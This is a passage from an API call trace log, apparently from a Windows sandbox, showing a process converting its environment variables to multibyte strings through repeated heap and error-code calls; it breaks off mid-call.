[0047.019] GetLastError () returned 0x0 [0047.019] SetLastError (dwErrCode=0x0) [0047.019] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x30806a0) returned 0x30 [0047.019] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x30806a0, Size=0x34) returned 0x30badb0 [0047.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0047.019] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x17) returned 0x3070560 [0047.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x3070560, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0047.019] GetLastError () returned 0x0 [0047.019] SetLastError (dwErrCode=0x0) [0047.019] GetLastError () returned 0x0 [0047.019] SetLastError (dwErrCode=0x0) [0047.019] GetLastError () returned 0x0 [0047.019] SetLastError (dwErrCode=0x0) [0047.019] GetLastError () returned 0x0 [0047.019] SetLastError (dwErrCode=0x0) [0047.019] GetLastError () returned 0x0 [0047.019] SetLastError (dwErrCode=0x0) [0047.019] GetLastError () returned 0x0 [0047.019] SetLastError (dwErrCode=0x0) [0047.019] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.020] SetLastError (dwErrCode=0x0) [0047.020] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x30badb0) returned 0x34 [0047.021] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x30badb0, Size=0x38) returned 0x30badf0 [0047.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0047.021] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xe) returned 0x308c2a0 [0047.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x308c2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0047.021] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] GetLastError () returned 0x0 [0047.021] SetLastError (dwErrCode=0x0) [0047.021] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] GetLastError () returned 0x0 [0047.022] SetLastError (dwErrCode=0x0) [0047.022] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x30badf0) returned 0x38 [0047.023] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x30badf0, Size=0x3c) returned 0x3093ee0 [0047.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0047.023] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x69) returned 0x3081c30 [0047.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x3081c30, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0047.023] GetLastError () returned 0x0 [0047.023] SetLastError (dwErrCode=0x0) [0047.023] GetLastError () returned 0x0 [0047.023] SetLastError (dwErrCode=0x0) [0047.023] GetLastError () returned 0x0 [0047.023] SetLastError (dwErrCode=0x0) [0047.023] GetLastError () returned 0x0 [0047.023] SetLastError (dwErrCode=0x0) [0047.023] GetLastError () returned 0x0 [0047.023] SetLastError (dwErrCode=0x0) [0047.023] GetLastError () returned 0x0 [0047.023] SetLastError (dwErrCode=0x0) [0047.023] GetLastError () returned 0x0 [0047.023] SetLastError (dwErrCode=0x0) [0047.023] GetLastError () returned 0x0 [0047.023] SetLastError (dwErrCode=0x0) [0047.023] GetLastError () returned 0x0 [0047.023] SetLastError (dwErrCode=0x0) [0047.023] GetLastError () returned 0x0 [0047.023] SetLastError (dwErrCode=0x0) [0047.023] GetLastError () returned 0x0 [0047.023] SetLastError (dwErrCode=0x0) [0047.023] GetLastError () returned 0x0 [0047.023] SetLastError (dwErrCode=0x0) [0047.023] GetLastError () returned 0x0 [0047.023] SetLastError (dwErrCode=0x0) [0047.023] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.024] GetLastError () returned 0x0 [0047.024] SetLastError (dwErrCode=0x0) [0047.025] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x3093ee0) returned 0x3c [0047.025] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x3093ee0, Size=0x40) returned 0x3093f28 [0047.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0047.025] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x3e) returned 0x3093ee0 [0047.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x3093ee0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0047.025] GetLastError () returned 0x0 [0047.025] SetLastError (dwErrCode=0x0) [0047.025] GetLastError () returned 0x0 [0047.025] SetLastError (dwErrCode=0x0) [0047.025] GetLastError () returned 0x0 [0047.025] SetLastError (dwErrCode=0x0) [0047.025] GetLastError () returned 0x0 [0047.025] SetLastError (dwErrCode=0x0) [0047.025] GetLastError () returned 0x0 [0047.025] SetLastError (dwErrCode=0x0) [0047.025] GetLastError () returned 0x0 [0047.025] SetLastError (dwErrCode=0x0) [0047.025] GetLastError () returned 0x0 [0047.025] SetLastError (dwErrCode=0x0) [0047.025] GetLastError () returned 0x0 [0047.025] SetLastError (dwErrCode=0x0) [0047.025] GetLastError () returned 0x0 [0047.025] SetLastError (dwErrCode=0x0) [0047.025] GetLastError () returned 0x0 [0047.025] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x3093f28, Size=0x44) returned 0x30b9c10 [0047.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.025] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x1b) returned 0x3082dc0 [0047.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x3082dc0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0047.025] GetLastError () returned 0x0 [0047.025] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x30b9c10, Size=0x48) returned 0x30b9c60 [0047.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0047.025] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x1d) returned 0x3082d98 [0047.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x3082d98, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0047.026] GetLastError () returned 0x0 [0047.026] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x30b9c60, Size=0x4c) returned 0x30c3048 [0047.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0047.026] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x48) returned 0x30b9c60 [0047.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x30b9c60, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0047.026] GetLastError () returned 0x0 [0047.026] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x30c3048, Size=0x50) returned 0x30c30a0 [0047.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0047.026] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x12) returned 0x30703a0 [0047.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x30703a0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0047.026] GetLastError () returned 0x0 [0047.026] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x30c30a0, Size=0x54) returned 0x309f2e0 [0047.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0047.026] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x18) returned 0x30703e0 [0047.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x30703e0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0047.026] GetLastError () returned 0x0 [0047.026] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x309f2e0, Size=0x58) returned 0x309f340 [0047.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.026] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x1b) returned 0x3082de8 [0047.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x3082de8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0047.026] GetLastError () returned 0x0 [0047.026] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x309f340, Size=0x5c) returned 0x2fd4e30 [0047.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0047.026] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x24) returned 0x30be9b0 [0047.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x30be9b0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0047.026] GetLastError () returned 0x0 [0047.026] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x2fd4e30, Size=0x60) returned 0x2fd4f00 [0047.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0047.026] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x29) returned 0x30806a0 [0047.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x30806a0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0047.026] GetLastError () returned 0x0 [0047.026] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x2fd4f00, Size=0x64) returned 0x300a3a0 [0047.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0047.026] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x1e) returned 0x3082e10 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x3082e10, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0047.027] GetLastError () returned 0x0 [0047.027] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x300a3a0, Size=0x68) returned 0x300a480 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0047.027] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x41) returned 0x30b9c10 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x30b9c10, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0047.027] GetLastError () returned 0x0 [0047.027] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x300a480, Size=0x6c) returned 0x3081e10 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0047.027] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x17) returned 0x3070680 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x3070680, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0047.027] GetLastError () returned 0x0 [0047.027] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x3081e10, Size=0x70) returned 0x30cbff0 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.027] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xf) returned 0x308c2e8 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x308c2e8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0047.027] GetLastError () returned 0x0 [0047.027] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x30cbff0, Size=0x74) returned 0x7bfe90 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0047.027] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x16) returned 0x3070640 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x3070640, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0047.027] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x7bfe90, Size=0x78) returned 0x7bff10 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0047.027] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x2a) returned 0x30803c8 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x30803c8, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0047.027] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x7bff10, Size=0x7c) returned 0x7ae3c8 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0047.027] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x29) returned 0x3080630 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x3080630, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0047.027] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x7ae3c8, Size=0x80) returned 0x7aeef0 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0047.027] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x15) returned 0x3070660 [0047.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3070660, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0047.028] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x7aeef0, Size=0x84) returned 0x7bc7d0 [0047.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0047.028] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x1e) returned 0x3082e38 [0047.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x3082e38, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0047.028] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x7bc7d0, Size=0x88) returned 0x7bcbc0 [0047.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, 